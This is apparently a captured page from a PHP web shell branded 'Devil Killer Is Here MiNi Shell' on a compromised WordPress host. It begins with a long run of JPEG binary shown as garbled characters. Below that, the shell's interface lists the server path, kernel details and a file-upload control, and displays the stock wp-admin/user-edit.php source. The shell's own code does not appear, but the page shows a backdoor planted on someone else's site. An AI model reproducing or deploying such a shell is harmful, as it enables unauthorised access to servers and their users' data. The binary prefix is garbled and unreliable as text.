яШяа JFIF    яЫ „ ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------яА  ·" яД    яД ;   !1AQ"aq2Ѓ‘Ў±’БСр#3BRrбсb‚ІяД    яД *  !1"AQa2qр±Б#BЃяЪ   ? yR“њd&vGlJwZРvKо)АYrxрЊBҐІк—#j]ZиA•ЧБT^ЃЩdptи{Ї[w k˜WSФ‹*QБКaиy¤ґјBbлm№*ќ  &Чфч0Вх<|0pь’њљfЕ·M`‘М¬э Ќш ^.qЭя R‹рЅ¬·Њ¬^EYTфFЫГ­Ёw<-.‘j)ЎMН-/љs yqTЙБшф»'&ЫЮF‚Kz-(ЌЄџЩ[lКЕгшјЦ‡ґ¶МЭНЖцбў<“БGЦТЪ$ЋЉwќm€ј2З*e “ифZ(цY-FпОбЖVћѓҐѓЩenм櫧єlнТ µD¬¬wТЇ©H4БFXє1 ЅVЧsIOqSBЫЎNzJц“KzJОѕ•cXµО%ЈЂµvZcњгт•FSuMєЩ–ј%­†хBЩ ЄЦґРС##ъВП\[%ЌсђyY Ск‰…¤ !ўVТД‚О1ЩЋRЭIеј-NsZЄІJ†LTНAдђтP®ЧћQ:yЧґ˜Іg”_g=™›НМ mНжцДэЦЇY¶ј¬e+Hyj”e‘!EµЙcЭёаў®µSoХ{Ґ€ѓЧ¬*®h g<Ґ@ЎK‚I$юW+†‘Wэ'м№_”>ГДэ lНБUs¦1АЎ,ЇЂo*Кє§Eлї.U"N&CTіu7˜Иь _0вV’ъ°yКH,Бq ,Й)ЙРЛHжгІЈвЈ5<µЩбцt ;r‹hnЖz%аЭ“Хz+4і§ КiЫё)­ЅХP6п+F>0TРІ‹`љцЏслђЮ&бiф}ShћЙnђя ?™ikЬЂХџЙИ§ґҐ@хmБАUSУLбFО·˜’Њ©ЁђhтєЅ_eЋ¶ЪЯr тЁiе_qt]MYд»hя qю ЬсЈВ9®LaJрpPѕђЧџ€Я˜vкЂЎ\е"z·Ўо[лиV‚Ж¬В¤вІ*a§†ZMoоА=ПкW›kpџS§pію §жђш\QhЙMІйАКbЛ’жДYюH=Ь’ Ѓ€кmЃЈЫшЄ`с№C”€Jtй ийНЮс•цµи8o…FЈp]ЦйЙ>‰pҐPр1ЪF>‹n8(*Љ›ЫaЪ€љ.цYХЭ‰[‚iћЅЦTШ№Ћ’ JГзЕтM!сЊфлxћЫ]нВЙХФ¶aJЫSћW›ІиЫТјЬ©ё`yКПQФ`*кkEҐ#nѓN­ЏkZ·ўKwєћA_Ї7’~И© ОЃВЗйJчРЌЩ;Лч№ё-2§ћКqRxYk—Т=UЦЦЂв>ФZ qшThv@Ф.wС c{#&@ь#l®;D$”kGGмТvz/«7[Pу+”i”ж3СnIlК`nrРbmЇњЇQi“%}rAVй—PмрT*SЭПСFЈ`{'двн±нжЧ6RЦX46PФ®•‚тp™здє(¤і3WТ…Uх\a*є7Ќ7lq‹^„r˜TЄвЬ$vs2ќ±ш…MU Ш%*Е§+«\uQѕ ‚–XVЬиHы •Й!љ4t*Hgиію"¬Zм±®Њщ‡с JКX+RэVАUд‰цн+ЮЊ]PђiJМэѓ©T XоАщIф= Эi–ЮPO=љIҐиНaђ3лВХ[¶С uШ™т&й2љЌZ@тЄ.*ЊЃБЃSZњ‚® ("Ф)µѓs€Ђ8Yєъ©/ юБ цЊЏ¬-FЇh я ЪOcЈЂвв=ъ@ќ·HјR¶lЧПвѕЬP‘”Ypэ!wr?-Ґ±±цdu«gN…L­эpBН1‡yмW–¶Ќ•HyoPѕ\С•тСЂiHЦґ,єЭЩђ0aЎЫмU·L.•Yy`µL•S°лЫњ,ЅэоHZz!ВJQ«iНщђ‹V¬«Mўb{Ј(Ю €Ћtژ <)^Qi’’_»`ю:ф№р д}8Щ±ш9_.)a[kSrѕйў> ;wИWU§<Ўhѕ .Ѕ\z …H Ж0”ЫRҐLrUwBєЙЦЄ!Vј*ЄЬ%·U‰бhuir˜У®]ЋrВ¦rљР№ „eZ‹uRаГ%e-х*Баb` ЕЈлOСnоЁУ>Ў#рцњM^#iзщvTсвЬЋЧlЩiґH¦ЭС1льQm`лиc Uµё+и!2Й’§IXіР%єЦіNЪ“ЄФ;ZРI$?ўЈb$ШЗв(9лПя ђ¦Јf›…2аЧZВаKe ˜гј­­ЌqUЎн8IОЗб[ Uѕґ)9«!гmhЫ1Ўў^N˜БИ0 гІ•Јf’№•_ВоІюсЃє;ВЧ†µр2ТЧHтњЁѕFF©'ґ€4b! yBGH_jС‚ЂФp'?uџЙiБЪbQ¤ љT„#И•ТЊЧС¬Є˜S©X5gнк”ЬЮ’SF64Scjw‚U…`xI]sAы№M( 5ATЇHА_+Хs± 0ф^ЩIB++§h@˜_YjвsВpЗ0„{°UЊв‹@G ђџ·Ћлђа- Ѕ:кхоҐ*·ЎХ}ё© ҐшTЮ‚MH*ЗЦ”Ґ·2оQцХ’С: єoЬ@ ђСw5(Я°Кua­‰ь+aЗ ~жw[3WЦ›€(ђРґХPуеYлЄ„rF1•E‰КБ)Ч3Ђ˜XЧ„Ўм­TmЅЁеIЙҐFІќq±§TШт~Аz ®*ЊуI»љЂsџи*б’жё…WЙґ¶a0Qмj®ЃАђ¬%{сTЊЌЫ.Ю…ЅўЧґ±нc„z©6§u6Ц„ЭЃhЛ;АЦ¦ 8Ђd9Д7эЅ–ЋКЭґШС +Ю•xЉьР·sЫИЃ&LI‚JT’)КR¤0}fП }P®џJбђцµаdp`…д_ЪpъХ)–—ЌЫЙ™вg·(ќЕ•tZ ЮЖ 'ПёЂqЗU74Н§iZ{=MТhЫПБdьЗ$џ©Lћ|° *ЖUUn· &¤ЊН¶p¦HYќJйЫ‹Эj© /вЄ@9®XьИ?NСlќЬѕHY§xЉґ”nЈЁЌ„uXЪ–„ФЬA…згЖћЩи8ьjљ†ю «а»ІЄЭЂ pќQ¬ВФК4;Ќ*3хi™MlZ6 ®зw Єа™ЖИµ±›№PЄ Sіhr!–Э”шњаDT7/†ТЎЙПІigD“>§j KAXѕМ3¬jv+–ФР ђШЯ§ЏШІам #©_=Пт¦z–¶ЮTm‹ЖжВ¦ҐР>ь}ЇTЦЃ<|agўґ®{ПEр*ЮюЛЦі%Љ„њ…љЦ5z–µ›W.ўHhё~a–њ%ъќ‹j±Н"eґ4i=Ќ™vЧ±Їi8аѓђRЌzіM75ЩiЋ±ЦџfгEгu6ёМ4Бщ\СХ§Ёиeвo0°ь0зdЋ Hйџ§ЭrИЄКz2дeu·ФlµїбЏH$tЋQ>eOЉЗФ$µ¦@±…«ЈBђА ь/?“ш=Й#ВЩ¤ЦЗ•ЯPSЅ/В·.iЏPЅ¦•Ѕ28sй4vOЖuz3zсѕ™жTј&за¶ >—ЂZ2гц[–0+н[†р•#ћFЮ‘Ќ¶р]!Й(пмЕ(Ѓ!>s`r’ЬjeЋд(Ґ'Р|,й)‹,Гy@\ш‹°ы¤ъ‡‰њpР–’“йљп‚ЯEЛэ ?й?uЛ№ЎyWV‹·щЋ%8mЕJ ˜ђ„№ёi ЋЉw: u=¤-2‹dЈTмгSuGL+mк<М*иЧ¦1…чц‚г asЌг&5µХsЇ«ЁжuФ\Чp˜УhЊ¤аѕЖѓ qСYL‚Ці>Y(‹PKўе”i—;арUЪ•Фp .¶±.!i,и5­‡4$IцUEGLНРРXrж§юЁЪUE6m ъ ъ»•UеИ ГJC¤Х?ґґзжЄ¶%4Б•ББЈЧнЃAЋЖTчЇ]I]FЎш>ЉЧ№Pа9+‚eјe¤©Ѓ"AкiеҐdфЭ!Ї§Wk|ЃМt–пђDv–/O¬рDѓСc/,џo]ОiХ"HИI ћђHQгЖ_ѓn –ёіsб©pv"b и}}К&ПГб¤Iк:pИџUЈЅБ-_)‰UxЎ$lЋ:fЄЪ˜ Й•(I,Эеoxўinе8*G“>ГЊэKG}RЪЂв8FrajЁЩ·hЋ !’*za„њ]Ј lx%§РВбEэVіRТЪGYZНшoЪWџ›§·С®мѕЪъ昀аB№єеXуr­ґё¦љ{[ФёЉd,т–ґtжы єсEq†Ѓ ]З‰+у№ N¬т†})0‚“щBЗ,‚Єш®нНЪЋрe iqT™{Оz+¶µЄ«‡O ћBП2‰eеB89CЪѓ9©ЊеYыkZЙтySiўу@њВд/я (W)ъd^UцfjiВ0cHЬ!hиЩmщ‚-”ЪЎкгwBъЇаЖ7CЫ”ЖЦ›X$ЃхZo†И)Eэ F3”VZqmХ)’!wUЇщxM4н9µ<§ къ3Y .хqDйf“Ыйцдz„m |М&T Њ¬Ю"}—• иљИы°{*оiбh­«¶Ј&2і6чм¦6· U9щ*­ <®_# Ф7ґ˜ВMei˜ѓёКu^пh-оЊР-ZкНtLпбьSbП)НDVЌZH*П#Щ5ЁU©ЇiўVP+aSRIВЄв‘!џpжЊ¤c¦ж5g#ђЃєЅЃ’zМt@ЫкНy€pчфHдЖР=э‰Эе‚{• {Ђ#0dџА… нN¦в)УцqпћќёWЫTЄа kA<ДВџ)/“Rт§T8¤ D1э’к4Юy ЌЅbЫ2°л^лOўW––ћњ,Э&Bcc[iVгўiмСVd…ќЦґ–ФїCЩ<Ґp_\Щ tћ™VЏЦн+Тqk·ф9„ћќSХ{uЦћЧsA©я „иT»]…—'‡уM¶ЮП9Ґ\…цҐСњ-[B©EЖd ы ю0YeУ+ґ‚џX‘%nЈЄ…0HКЎф”Ьl›m…ТЅ!Ющ*–У…{9]юEMі·®_ &вqи6:hё{ЫАhЊ$Х4З1пc§КHћћкъГиn-09”%?@vс$ЋЇe– Ы®Н‹ѓtИТ§Ц КІм5­&P¶zЖL6AК¶ЮеЋ$?DНZЩУPбv§°nЭЫфSѕ»i”фК¬Rs~_4я ©a·"¦yеrЋ€9{Pя x —\T3 !окёђР‰‡@„qБv+jАjUМ…uЂd<Є+R2«{a<ўЁ‹»УФ77+Wа[РтсХ лр°4)I+Uя Џl^j:Ё$0=њVЏ ХL)ћ€JҐБL…/jО ZФТлє2W ®ћ (@э>JЏя '„чhRшh( №1K4с#љV`pЌЩђTљШwє<јЂ©1і{Ј)СXыPr9RcІ 4ід)Sr¬ы© Џgto\„тЩтYП„~•© ”–КЕиxьєщ°d"jЬO:хЃЊA!7€Ёµф‹€’т+љEПЬ0%{M'‰ѓЗTі^рЕ“ІиІЎд`rЪмт¶=ЬE*›LК7QТ]AРо{ЋЁ]‚A<Ї5Л‹©.Ћ‹}<Б‚9_KЂ (еДИфQ©LµҐз9FХРЌы©sД®C9Аж!r‰тЮФpiм їT±п0Їјёq’С!ІHп ё Т\@а™Ь©B>ЫFћц†6Ч 4гЫє6О‹Є0ё4“ПІ^П#ҐВЭ>Р/@¦йtyЂЏB‘¶Ы]єУ*љДёpІ¶М6Ў&<СџDP¤Ч9Рб—џ¬atM'Т >З bЪмЄ— wРIХ!ЬЃ€V^ЦtфзNЁ!оЋ6=иFЧDЄЬ†‚9*?О q¦6фhё8ј‰ ЫЌ {‘’%WoHoNф.э“l˜з€^—б»}”"1+ҐУuJЊ ;ЁИrЅ&› иЅ/ IЙ“љKH“ђп*З№Pч-в№ИJЩ3Р+Є9 ъ’ии2Ќ µд ѕ5тw5я ЏбI•dc„Wg0ъn}UҐіц@Т2 #Ђ0‹iv›и…і€ђz/•^Ґњ…ЖѓOR¤Ы}IvV2¬jъ(ЗtB1)Є{чѕ™ђS‹№"BЕш·\ ih.ѓАЗРЛIXbЖ¶:нG»nбЂI“А ж•вFХ.ѓйф^aЈЭ?а>®~!k˜'Ю'фT[ЭЧўж‚93фЦfя ‘ЯH<®ПH»с>ЪlкNРуЦDHъеҐл„Х;ќ;ЪsЂg-Ђ@ъ, JЈИOџsэ~ЉЗSs^H ћ'"#tцю§мЊ»=«Щ^ ¤@'њфХW~ўAp'oTЌъ¦Ъ­{FЩ†ИМґ1ь¦Пс#'cЋЬ>„ѕкњЎ?ЭFЉЈ­йў…B хХL№М,и2~я т‰ЧЄп-sќ2`ъ aHQm:F^jЖЮбЈ&~°јщЖ*N‰Е«v+{sВеkД‚№$ёїўFђ~Ш’ '#kьЬО«Ns›эЩ— тDн9чPј»qhhБkҐ c tы¦ЇФ·±”бћF’Io4‰ЎM=SијgIЎuиџ`F=#˜ы}ЧZЮмi'‚cрЃuлП»І!Рк}+‹CZIџ7ёытЏNЕu ЪЕ¤IБМсe1ЈXTа ЁЌмxЩГCЫ·hЪбуcЦcю•џ”7ЅЋ ‡чlл?ыzЎiЏ‰®ЮКYДОЬд ©7Пжж:ЏEй>рkЄ0VЇєђxќ‘зОypтэ§Щmмј?kKдЎNGщ‹CќыО’­‹Е“¶хapмс{=жѕiУ1<њ6=ЦЛIрі˜ЄрOVЃ#о·WеЌ ШY=SX†Џ„C‹ЬЮўfц э–ЬxсЕl4в»[Qe1 hСX+ѓБ¦^ЙIё<Мя ЗР tzБџ<ЧyэаТµ9SBкФC=сЙC~Ш е.Хµ:Ѕ­>ЗџС;j¬Aхл%Хn¶»=qч@ЭjЃ§'їаJ¦МTё|УnжЂaТ$ъы~Ё·BїБUц°Ц9ҐШ‚dzu)®ѓѕїшm%§‡glw”n™бљX¶«ыLУ`ЂЮ№њ•¦§W`° г°ќ”ЦA”м¦ПHЃМёдџлў™gEu[П,“пнХ'°Ѕ%…о1ЅОpЈf?tоJ ЫШО–‘mГc…[\ЈZ°кyJЇхvСnг$Hl'Ї<+5[b]иvѕ’“ eЋfцАsРЃЮ Я^. &2 ыщЊыyOЭ/8¦•ЃЋЇ+µЈ$ x©+ЛхzЏsЛ§КCЖޘ'лУтџ^кeХ юf·ЂМAЙЭ+Ъ­sћу–зO nЋ±Дњыz,ћFU%HU&˜•h ЉЌЃ»fGRNйж“ҐУ{Nч“$ЗНАk}92‚·kѓ`Gn8н<сК®гsdрH01ђ>b{ {˜+ [°Жk—_ЙFЎ@KЂpkвпqV„~‘sрьрd‚ЏтЖyъ%П¦wK„тЏ˜`ЁИD‹‡! њђNТ}N#)xШ9nЖwµ@7™щyаы4 *\ ќО—°$sцR©\™xгtsйЯш Ќ3јА0`O<пА0»иm­~‚‰%М<ќЭx#iя ”KЋЗд“ґ= 1ъ!›Ks[. q“ё7=уEтҐF¶"hЎЬМю Nh ТЇ¦=О.~нЗ'i†ъ ;BдФњyp¶ицДц\“ЊюРЬгфRiy±;w`OCЯЧЋкЦ—4»wщЂ&8‚иn= _'”W!в­YUvQБН°‘aАрOС7У<џUЛ“5о_Н’mљ ГґЕЗВЄвн· иАs:Џђ:­•о…kBЦ«нйЌФЖрг.tСpvмЊ·ўеЛ\RЉТы)Ґ3­в±п¦жЫVњсиј§q€>‡Щќj»'ћ±Эrеў-»(dЇuАщ @Э9Ъsъ…”·©5ч`;iaЄЩqћѕoя ErеЋY$шїэ{i Ї.Z(ФРЏЮя ґў•Бs^А!РЧъyCПѕХЛ“JoKщя bХИчQЫUа™ћЧП°ЂЅЅ{©БТжд™Џ›УеаЇ«—eЙ.-r|X‡фWХ¬УYАТkZоeО0AЖGЩlu­IґнЙ¦v’d7€ q —-jЬEя кfЫ­љt˜з4‚чєЊїqи “+]t–d_§+—%Њ›A‹ц"z– M2ЬщњЪxя ЫlюҐвq–фч»еn ы ѕ®VЖыdЯfыU^ијQa†‚DёIй?Ф+©ЮViЫ\П™‘L˜ЮG9бrе—>Y«¦ {eHлU¬ЧББqp )=щДsЭYktг,˜€s1ш!rе,Ќ¶¬lЋй„› ъu#ґърбI$-іњЦђв2A=AМхш\№J]&gнXЖ›<ЅПіЯnЄцНsљ_QЫАџ(Ћ8МсћЛ—#)4ђqйY~ВВжѓ$'3"'феUYНcI‚v·‰Ђ sї ю.Kо Oч!{хЃ,Ъ ѓ€‡ЙЋЩц(ъ$ЊєLћ¤I‚гФя №r¦D”uця ЙLЪ_Я°‹ CiЙ'ЌІ»џtЫИ{љ2LЗ;±ъ®\¤Яµ—Г7@фЭкHюK—.Z)4яЩ
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/serieaporm/www/wp-admin/

Linux webm340.cluster020.gra.hosting.ovh.net 4.14.218-ovh-vps-grsec-zfs-classid #1 SMP Mon Feb 1 17:25:57 CET 2021 x86_64
Upload File :
Current File : /home/serieaporm/www/wp-admin/user-edit.php

<?php
/**
 * Edit user administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

wp_reset_vars( array( 'action', 'user_id', 'wp_http_referer' ) );

$user_id      = (int) $user_id;
$current_user = wp_get_current_user();
if ( ! defined( 'IS_PROFILE_PAGE' ) ) {
	define( 'IS_PROFILE_PAGE', ( $user_id == $current_user->ID ) );
}

if ( ! $user_id && IS_PROFILE_PAGE ) {
	$user_id = $current_user->ID;
} elseif ( ! $user_id && ! IS_PROFILE_PAGE ) {
	wp_die( __( 'Invalid user ID.' ) );
} elseif ( ! get_userdata( $user_id ) ) {
	wp_die( __( 'Invalid user ID.' ) );
}

wp_enqueue_script( 'user-profile' );

if ( wp_is_application_passwords_available_for_user( $user_id ) ) {
	wp_enqueue_script( 'application-passwords' );
}

if ( IS_PROFILE_PAGE ) {
	$title = __( 'Profile' );
} else {
	/* translators: %s: User's display name. */
	$title = __( 'Edit User %s' );
}

if ( current_user_can( 'edit_users' ) && ! IS_PROFILE_PAGE ) {
	$submenu_file = 'users.php';
} else {
	$submenu_file = 'profile.php';
}

if ( current_user_can( 'edit_users' ) && ! is_user_admin() ) {
	$parent_file = 'users.php';
} else {
	$parent_file = 'profile.php';
}

$profile_help = '<p>' . __( 'Your profile contains information about you (your &#8220;account&#8221;) as well as some personal options related to using WordPress.' ) . '</p>' .
	'<p>' . __( 'You can change your password, turn on keyboard shortcuts, change the color scheme of your WordPress administration screens, and turn off the WYSIWYG (Visual) editor, among other things. You can hide the Toolbar (formerly called the Admin Bar) from the front end of your site, however it cannot be disabled on the admin screens.' ) . '</p>' .
	'<p>' . __( 'You can select the language you wish to use while using the WordPress administration screen without affecting the language site visitors see.' ) . '</p>' .
	'<p>' . __( 'Your username cannot be changed, but you can use other fields to enter your real name or a nickname, and change which name to display on your posts.' ) . '</p>' .
	'<p>' . __( 'You can log out of other devices, such as your phone or a public computer, by clicking the Log Out Everywhere Else button.' ) . '</p>' .
	'<p>' . __( 'Required fields are indicated; the rest are optional. Profile information will only be displayed if your theme is set up to do so.' ) . '</p>' .
	'<p>' . __( 'Remember to click the Update Profile button when you are finished.' ) . '</p>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => $profile_help,
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/article/users-your-profile-screen/">Documentation on User Profiles</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/">Support</a>' ) . '</p>'
);

$wp_http_referer = remove_query_arg( array( 'update', 'delete_count', 'user_id' ), $wp_http_referer );

$user_can_edit = current_user_can( 'edit_posts' ) || current_user_can( 'edit_pages' );

/**
 * Filters whether to allow administrators on Multisite to edit every user.
 *
 * Enabling the user editing form via this filter also hinges on the user holding
 * the 'manage_network_users' cap, and the logged-in user not matching the user
 * profile open for editing.
 *
 * The filter was introduced to replace the EDIT_ANY_USER constant.
 *
 * @since 3.0.0
 *
 * @param bool $allow Whether to allow editing of any user. Default true.
 */
if ( is_multisite()
	&& ! current_user_can( 'manage_network_users' )
	&& $user_id != $current_user->ID
	&& ! apply_filters( 'enable_edit_any_user_configuration', true )
) {
	wp_die( __( 'Sorry, you are not allowed to edit this user.' ) );
}

// Execute confirmed email change. See send_confirmation_on_profile_email().
if ( IS_PROFILE_PAGE && isset( $_GET['newuseremail'] ) && $current_user->ID ) {
	$new_email = get_user_meta( $current_user->ID, '_new_email', true );
	if ( $new_email && hash_equals( $new_email['hash'], $_GET['newuseremail'] ) ) {
		$user             = new stdClass;
		$user->ID         = $current_user->ID;
		$user->user_email = esc_html( trim( $new_email['newemail'] ) );
		if ( is_multisite() && $wpdb->get_var( $wpdb->prepare( "SELECT user_login FROM {$wpdb->signups} WHERE user_login = %s", $current_user->user_login ) ) ) {
			$wpdb->query( $wpdb->prepare( "UPDATE {$wpdb->signups} SET user_email = %s WHERE user_login = %s", $user->user_email, $current_user->user_login ) );
		}
		wp_update_user( $user );
		delete_user_meta( $current_user->ID, '_new_email' );
		wp_redirect( add_query_arg( array( 'updated' => 'true' ), self_admin_url( 'profile.php' ) ) );
		die();
	} else {
		wp_redirect( add_query_arg( array( 'error' => 'new-email' ), self_admin_url( 'profile.php' ) ) );
	}
} elseif ( IS_PROFILE_PAGE && ! empty( $_GET['dismiss'] ) && $current_user->ID . '_new_email' === $_GET['dismiss'] ) {
	check_admin_referer( 'dismiss-' . $current_user->ID . '_new_email' );
	delete_user_meta( $current_user->ID, '_new_email' );
	wp_redirect( add_query_arg( array( 'updated' => 'true' ), self_admin_url( 'profile.php' ) ) );
	die();
}

switch ( $action ) {
	case 'update':
		check_admin_referer( 'update-user_' . $user_id );

		if ( ! current_user_can( 'edit_user', $user_id ) ) {
			wp_die( __( 'Sorry, you are not allowed to edit this user.' ) );
		}

		if ( IS_PROFILE_PAGE ) {
			/**
			 * Fires before the page loads on the 'Profile' editing screen.
			 *
			 * The action only fires if the current user is editing their own profile.
			 *
			 * @since 2.0.0
			 *
			 * @param int $user_id The user ID.
			 */
			do_action( 'personal_options_update', $user_id );
		} else {
			/**
			 * Fires before the page loads on the 'Edit User' screen.
			 *
			 * @since 2.7.0
			 *
			 * @param int $user_id The user ID.
			 */
			do_action( 'edit_user_profile_update', $user_id );
		}

		// Update the email address in signups, if present.
		if ( is_multisite() ) {
			$user = get_userdata( $user_id );

			if ( $user->user_login && isset( $_POST['email'] ) && is_email( $_POST['email'] ) && $wpdb->get_var( $wpdb->prepare( "SELECT user_login FROM {$wpdb->signups} WHERE user_login = %s", $user->user_login ) ) ) {
				$wpdb->query( $wpdb->prepare( "UPDATE {$wpdb->signups} SET user_email = %s WHERE user_login = %s", $_POST['email'], $user_login ) );
			}
		}

		// Update the user.
		$errors = edit_user( $user_id );

		// Grant or revoke super admin status if requested.
		if ( is_multisite() && is_network_admin() && ! IS_PROFILE_PAGE && current_user_can( 'manage_network_options' ) && ! isset( $super_admins ) && empty( $_POST['super_admin'] ) == is_super_admin( $user_id ) ) {
			empty( $_POST['super_admin'] ) ? revoke_super_admin( $user_id ) : grant_super_admin( $user_id );
		}

		if ( ! is_wp_error( $errors ) ) {
			$redirect = add_query_arg( 'updated', true, get_edit_user_link( $user_id ) );
			if ( $wp_http_referer ) {
				$redirect = add_query_arg( 'wp_http_referer', urlencode( $wp_http_referer ), $redirect );
			}
			wp_redirect( $redirect );
			exit;
		}

		// Intentional fall-through to display $errors.
	default:
		$profileuser = get_user_to_edit( $user_id );

		if ( ! current_user_can( 'edit_user', $user_id ) ) {
			wp_die( __( 'Sorry, you are not allowed to edit this user.' ) );
		}

		$title    = sprintf( $title, $profileuser->display_name );
		$sessions = WP_Session_Tokens::get_instance( $profileuser->ID );

		require_once ABSPATH . 'wp-admin/admin-header.php';
		?>

		<?php if ( ! IS_PROFILE_PAGE && is_super_admin( $profileuser->ID ) && current_user_can( 'manage_network_options' ) ) { ?>
	<div class="notice notice-info"><p><strong><?php _e( 'Important:' ); ?></strong> <?php _e( 'This user has super admin privileges.' ); ?></p></div>
<?php } ?>
		<?php if ( isset( $_GET['updated'] ) ) : ?>
<div id="message" class="updated notice is-dismissible">
			<?php if ( IS_PROFILE_PAGE ) : ?>
	<p><strong><?php _e( 'Profile updated.' ); ?></strong></p>
	<?php else : ?>
	<p><strong><?php _e( 'User updated.' ); ?></strong></p>
	<?php endif; ?>
			<?php if ( $wp_http_referer && false === strpos( $wp_http_referer, 'user-new.php' ) && ! IS_PROFILE_PAGE ) : ?>
	<p><a href="<?php echo esc_url( wp_validate_redirect( esc_url_raw( $wp_http_referer ), self_admin_url( 'users.php' ) ) ); ?>"><?php _e( '&larr; Go to Users' ); ?></a></p>
	<?php endif; ?>
</div>
		<?php endif; ?>
		<?php if ( isset( $_GET['error'] ) ) : ?>
<div class="notice notice-error">
			<?php if ( 'new-email' === $_GET['error'] ) : ?>
	<p><?php _e( 'Error while saving the new email address. Please try again.' ); ?></p>
	<?php endif; ?>
</div>
		<?php endif; ?>
		<?php if ( isset( $errors ) && is_wp_error( $errors ) ) : ?>
<div class="error"><p><?php echo implode( "</p>\n<p>", $errors->get_error_messages() ); ?></p></div>
		<?php endif; ?>

<div class="wrap" id="profile-page">
<h1 class="wp-heading-inline">
		<?php
		echo esc_html( $title );
		?>
</h1>

		<?php
		if ( ! IS_PROFILE_PAGE ) {
			if ( current_user_can( 'create_users' ) ) {
				?>
		<a href="user-new.php" class="page-title-action"><?php echo esc_html_x( 'Add New', 'user' ); ?></a>
	<?php } elseif ( is_multisite() && current_user_can( 'promote_users' ) ) { ?>
		<a href="user-new.php" class="page-title-action"><?php echo esc_html_x( 'Add Existing', 'user' ); ?></a>
				<?php
	}
		}
		?>

<hr class="wp-header-end">

<form id="your-profile" action="<?php echo esc_url( self_admin_url( IS_PROFILE_PAGE ? 'profile.php' : 'user-edit.php' ) ); ?>" method="post" novalidate="novalidate"
		<?php
		/**
		 * Fires inside the your-profile form tag on the user editing screen.
		 *
		 * @since 3.0.0
		 */
		do_action( 'user_edit_form_tag' );
		?>
	>
		<?php wp_nonce_field( 'update-user_' . $user_id ); ?>
		<?php if ( $wp_http_referer ) : ?>
	<input type="hidden" name="wp_http_referer" value="<?php echo esc_url( $wp_http_referer ); ?>" />
		<?php endif; ?>
<p>
<input type="hidden" name="from" value="profile" />
<input type="hidden" name="checkuser_id" value="<?php echo get_current_user_id(); ?>" />
</p>

<h2><?php _e( 'Personal Options' ); ?></h2>

<table class="form-table" role="presentation">
		<?php if ( ! ( IS_PROFILE_PAGE && ! $user_can_edit ) ) : ?>
	<tr class="user-rich-editing-wrap">
		<th scope="row"><?php _e( 'Visual Editor' ); ?></th>
		<td>
			<label for="rich_editing"><input name="rich_editing" type="checkbox" id="rich_editing" value="false" <?php checked( 'false', $profileuser->rich_editing ); ?> />
				<?php _e( 'Disable the visual editor when writing' ); ?>
			</label>
		</td>
	</tr>
		<?php endif; ?>
		<?php
		$show_syntax_highlighting_preference = (
		// For Custom HTML widget and Additional CSS in Customizer.
		user_can( $profileuser, 'edit_theme_options' )
		||
		// Edit plugins.
		user_can( $profileuser, 'edit_plugins' )
		||
		// Edit themes.
		user_can( $profileuser, 'edit_themes' )
		);
		?>

		<?php if ( $show_syntax_highlighting_preference ) : ?>
	<tr class="user-syntax-highlighting-wrap">
		<th scope="row"><?php _e( 'Syntax Highlighting' ); ?></th>
		<td>
			<label for="syntax_highlighting"><input name="syntax_highlighting" type="checkbox" id="syntax_highlighting" value="false" <?php checked( 'false', $profileuser->syntax_highlighting ); ?> />
				<?php _e( 'Disable syntax highlighting when editing code' ); ?>
			</label>
		</td>
	</tr>
		<?php endif; ?>

		<?php if ( count( $_wp_admin_css_colors ) > 1 && has_action( 'admin_color_scheme_picker' ) ) : ?>
	<tr class="user-admin-color-wrap">
		<th scope="row"><?php _e( 'Admin Color Scheme' ); ?></th>
		<td>
			<?php
			/**
			 * Fires in the 'Admin Color Scheme' section of the user editing screen.
			 *
			 * The section is only enabled if a callback is hooked to the action,
			 * and if there is more than one defined color scheme for the admin.
			 *
			 * @since 3.0.0
			 * @since 3.8.1 Added `$user_id` parameter.
			 *
			 * @param int $user_id The user ID.
			 */
			do_action( 'admin_color_scheme_picker', $user_id );
			?>
		</td>
	</tr>
		<?php endif; // End if count ( $_wp_admin_css_colors ) > 1 ?>

		<?php if ( ! ( IS_PROFILE_PAGE && ! $user_can_edit ) ) : ?>
	<tr class="user-comment-shortcuts-wrap">
		<th scope="row"><?php _e( 'Keyboard Shortcuts' ); ?></th>
		<td>
			<label for="comment_shortcuts">
				<input type="checkbox" name="comment_shortcuts" id="comment_shortcuts" value="true" <?php checked( 'true', $profileuser->comment_shortcuts ); ?> />
				<?php _e( 'Enable keyboard shortcuts for comment moderation.' ); ?>
			</label>
			<?php _e( '<a href="https://wordpress.org/support/article/keyboard-shortcuts/" target="_blank">More information</a>' ); ?>
		</td>
	</tr>
		<?php endif; ?>

	<tr class="show-admin-bar user-admin-bar-front-wrap">
		<th scope="row"><?php _e( 'Toolbar' ); ?></th>
		<td>
			<label for="admin_bar_front">
				<input name="admin_bar_front" type="checkbox" id="admin_bar_front" value="1"<?php checked( _get_admin_bar_pref( 'front', $profileuser->ID ) ); ?> />
				<?php _e( 'Show Toolbar when viewing site' ); ?>
			</label><br />
		</td>
	</tr>

		<?php
		$languages = get_available_languages();
		if ( $languages ) :
			?>
	<tr class="user-language-wrap">
		<th scope="row">
			<?php /* translators: The user language selection field label. */ ?>
			<label for="locale"><?php _e( 'Language' ); ?><span class="dashicons dashicons-translation" aria-hidden="true"></span></label>
		</th>
		<td>
			<?php
				$user_locale = $profileuser->locale;

			if ( 'en_US' === $user_locale ) {
				$user_locale = '';
			} elseif ( '' === $user_locale || ! in_array( $user_locale, $languages, true ) ) {
				$user_locale = 'site-default';
			}

			wp_dropdown_languages(
				array(
					'name'                        => 'locale',
					'id'                          => 'locale',
					'selected'                    => $user_locale,
					'languages'                   => $languages,
					'show_available_translations' => false,
					'show_option_site_default'    => true,
				)
			);
			?>
		</td>
	</tr>
			<?php
endif;
		?>

		<?php
		/**
		 * Fires at the end of the 'Personal Options' settings table on the user editing screen.
		 *
		 * @since 2.7.0
		 *
		 * @param WP_User $profileuser The current WP_User object.
		 */
		do_action( 'personal_options', $profileuser );
		?>

</table>
		<?php
		if ( IS_PROFILE_PAGE ) {
			/**
			 * Fires after the 'Personal Options' settings table on the 'Profile' editing screen.
			 *
